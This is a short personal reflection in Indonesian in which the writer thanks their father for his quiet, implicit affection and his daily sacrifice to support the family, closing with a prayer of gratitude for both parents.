Di sela kelas, notif chat darinya muncul. Sayapun baru berani membukanya setelah kelas selesai takut netes lagi.

Walaupun ga secepat dan tidak semanis mamah, saya yakin dan percaya kasih sayang mu ga kalah sama mamah. Implisit, tak terasa memang. Buktinya, kemarin pura-pura nanya Bikin acara apa besok? Emang susah ya kalau mau bilang sayang langsung. Terima kasih pak atas segalanya, Terima kasih telah rela berkorban tiap harinya demi menafkahi keluarga, terkhusus menafkahi um.

Ya Allah, terima kasih untuk dua malaikat tak bersayap yang telah Kau titipkan padaku.